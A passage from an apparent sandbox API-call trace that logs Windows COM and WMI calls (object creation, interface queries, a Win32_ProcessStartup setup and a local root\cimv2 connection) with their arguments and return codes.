dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d3060) returned 0x0 [0117.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3060, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0117.239] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3060, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6569f0) returned 0x0 [0117.239] WbemDefPath:IUnknown:Release (This=0x1b4d3060) returned 0x0 [0117.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6569f0) returned 0x0 [0117.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0117.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0117.239] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0117.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0117.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0117.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d1ba0) returned 0x0 [0117.240] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1ba0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.240] WbemDefPath:IUnknown:Release (This=0x1b4d1ba0) returned 0x3 [0117.240] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0117.240] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0117.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0117.240] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0117.240] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0117.240] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0117.240] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0117.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6569f0) returned 0x0 [0117.240] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0117.240] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0117.240] WbemDefPath:IWbemPath:SetText (This=0x6569f0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0117.241] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856040*=0, plFlavor=0x2856044*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856040*=19, plFlavor=0x2856044*=0) returned 0x0 [0117.241] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856040*=19, plFlavor=0x2856044*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856040*=19, plFlavor=0x2856044*=0) returned 0x0 [0117.241] IWbemClassObject:Put (This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0117.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0117.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0117.241] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0117.241] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.241] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0117.241] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0117.241] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0117.241] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.242] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d1d40) returned 0x0 [0117.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0117.242] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x656ab0) returned 0x0 [0117.243] WbemDefPath:IUnknown:Release (This=0x1b4d1d40) returned 0x0 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x656ab0) returned 0x0 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0117.243] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d19e0) returned 0x0 [0117.243] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d19e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.243] WbemDefPath:IUnknown:Release (This=0x1b4d19e0) returned 0x3 [0117.243] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0117.243] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0117.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0117.243] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0117.244] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0117.244] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0117.244] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0117.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x656ab0) returned 0x0 [0117.244] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0117.244] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0117.244] WbemDefPath:IWbemPath:SetText (This=0x656ab0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0117.244] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0117.244] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0117.244] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.244] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0117.244] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0117.244] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0117.244] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.245] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d1840) returned 0x0 [0117.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1840, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0117.245] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d1840, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d1b20) returned 0x0 [0117.245] WbemLocator:IUnknown:Release (This=0x1b4d1840) returned 0x0 [0117.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d1b20) returned 0x0 [0117.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0117.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0117.245] WbemLocator:IUnknown:AddRef (This=0x1b4d1b20) returned 0x3 [0117.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0117.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0117.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0117.246] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0117.246] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0117.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0117.246] WbemLocator:IUnknown:Release (This=0x1b4d1b20) returned 0x2 [0117.246] WbemLocator:IUnknown:Release (This=0x1b4d1b20) returned 0x1 [0117.246] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0117.246] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0117.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b20, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d1b20) returned 0x0 [0117.249] WbemLocator:IUnknown:AddRef (This=0x1b4d1b20) returned 0x3 [0117.249] WbemLocator:IUnknown:Release (This=0x1b4d1b20) returned 0x2 [0117.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0117.249] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0117.249] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.250] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d1de0) returned 0x0 [0117.250] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1de0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63cd70) returned 0x0 [0117.340] WbemLocator:IUnknown:QueryInterface (in: This=0x63cd70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511530) returned 0x0 [0117.340] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511530, pProxy=0x63cd70, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0117.341] WbemLocator:IUnknown:Release (This=0x1b511530) returned 0x1 [0117.341] WbemLocator:IUnknown:QueryInterface (in: This=0x63cd70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511578) returned 0x0 [0117.341] WbemLocator:IUnknown:QueryInterface (in: This=0x63cd70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511530) returned 0x0 [0117.341] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511530, pProxy=0x63cd70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0117.341] WbemLocator:IUnknown:Release (This=0x1b511530) returned 0x2 [0117.341] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x1 [0117.341] CoTaskMemFree (pv=0x1b461b20) [0117.341] WbemLocator:IUnknown:Release (This=0x1b4d1de0) returned 0x0 [0117.341] WbemLocator:IUnknown:QueryInterface (in: This=0x63cd70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511578) returned 0x0 [0117.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0117.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0117.394] WbemLocator:IUnknown:QueryInterface (in: This=0x63cd70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0117.398] WbemLocator:IUnknown:AddRef (This=0x1b511578) returned 0x3 [0117.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0117.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0117.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 